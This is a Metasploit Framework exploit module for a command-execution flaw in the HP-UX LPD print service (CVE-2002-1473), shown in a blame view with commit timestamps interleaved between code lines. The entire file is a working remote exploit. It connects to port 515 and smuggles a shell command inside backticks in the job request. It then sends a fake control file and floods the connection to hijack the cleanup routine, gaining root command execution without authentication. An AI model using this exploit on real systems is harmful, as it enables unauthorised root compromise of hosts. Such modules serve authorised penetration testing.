2007-02-18 01:10:39 +01:00
|
|
|
##
|
2007-03-01 09:21:36 +01:00
|
|
|
# $Id$
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-03-25 15:52:35 +01:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 01:10:39 +01:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 16:33:26 +02:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 01:10:39 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 06:50:37 +01:00
|
|
|
Rank = ExcellentRanking
|
2006-01-16 05:02:38 +01:00
|
|
|
|
2008-10-02 07:23:59 +02:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-01-16 05:02:38 +01:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-03-25 15:52:35 +01:00
|
|
|
super(update_info(info,
|
2006-01-16 05:02:38 +01:00
|
|
|
'Name' => 'HP-UX LPD Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploit abuses an unpublished vulnerability in the
|
|
|
|
HP-UX LPD service. This flaw allows an unauthenticated
|
|
|
|
attacker to execute arbitrary commands with the privileges
|
|
|
|
of the root user. The LPD service is only exploitable when
|
|
|
|
the address of the attacking system can be resolved by the
|
|
|
|
target. This vulnerability was silently patched with the
|
|
|
|
buffer overflow flaws addressed in HP Security Bulletin
|
|
|
|
HPSBUX0208-213.
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 22:20:42 +02:00
|
|
|
[ 'CVE', '2002-1473'],
|
|
|
|
[ 'OSVDB', '9638'],
|
2006-01-16 05:02:38 +01:00
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Platform' => ['unix', 'hpux'],
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 200,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'BadChars' => "\x00\x09\x20\x2f",
|
2009-07-21 17:20:35 +02:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2010-03-25 15:52:35 +01:00
|
|
|
},
|
|
|
|
'Targets' =>
|
2006-01-16 05:02:38 +01:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
2010-07-03 05:13:45 +02:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Aug 28 2002'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(515)
|
|
|
|
], self.class)
|
2006-01-16 05:02:38 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
# The job ID is squashed down to three decimal digits
|
|
|
|
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
|
|
|
|
|
|
|
|
# Connect to the LPD service
|
|
|
|
connect
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
print_status("Sending our job request with embedded command string...")
|
|
|
|
# Send the job request with the encoded command
|
|
|
|
sock.put(
|
2007-03-01 09:21:36 +01:00
|
|
|
"\x02" + rand_text_alphanumeric(3) + jid +
|
2006-01-16 05:02:38 +01:00
|
|
|
"`" + payload.encoded + "`\n"
|
|
|
|
)
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
res = sock.get_once(1)
|
2010-03-25 15:52:35 +01:00
|
|
|
if !(res and res[0,1] == "\x00")
|
2006-01-16 05:02:38 +01:00
|
|
|
print_status("The target did not accept our job request")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-03-25 15:52:35 +01:00
|
|
|
print_status("Sending our fake control file...")
|
2007-03-01 09:21:36 +01:00
|
|
|
sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
|
2006-01-16 05:02:38 +01:00
|
|
|
res = sock.get_once(1)
|
2010-03-25 15:52:35 +01:00
|
|
|
if !(res and res[0,1] == "\x00")
|
2006-01-16 05:02:38 +01:00
|
|
|
print_status("The target did not accept our control file")
|
|
|
|
return
|
|
|
|
end
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
print_status("Forcing an error and hijacking the cleanup routine...")
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
begin
|
2007-03-01 09:21:36 +01:00
|
|
|
sock.put(rand_text_alphanumeric(16384))
|
2006-01-16 05:02:38 +01:00
|
|
|
disconnect
|
|
|
|
rescue
|
|
|
|
end
|
2010-03-25 15:52:35 +01:00
|
|
|
|
2006-01-16 05:02:38 +01:00
|
|
|
end
|
|
|
|
|
2009-06-07 22:20:42 +02:00
|
|
|
end
|
2010-03-25 15:52:35 +01:00
|
|
|
|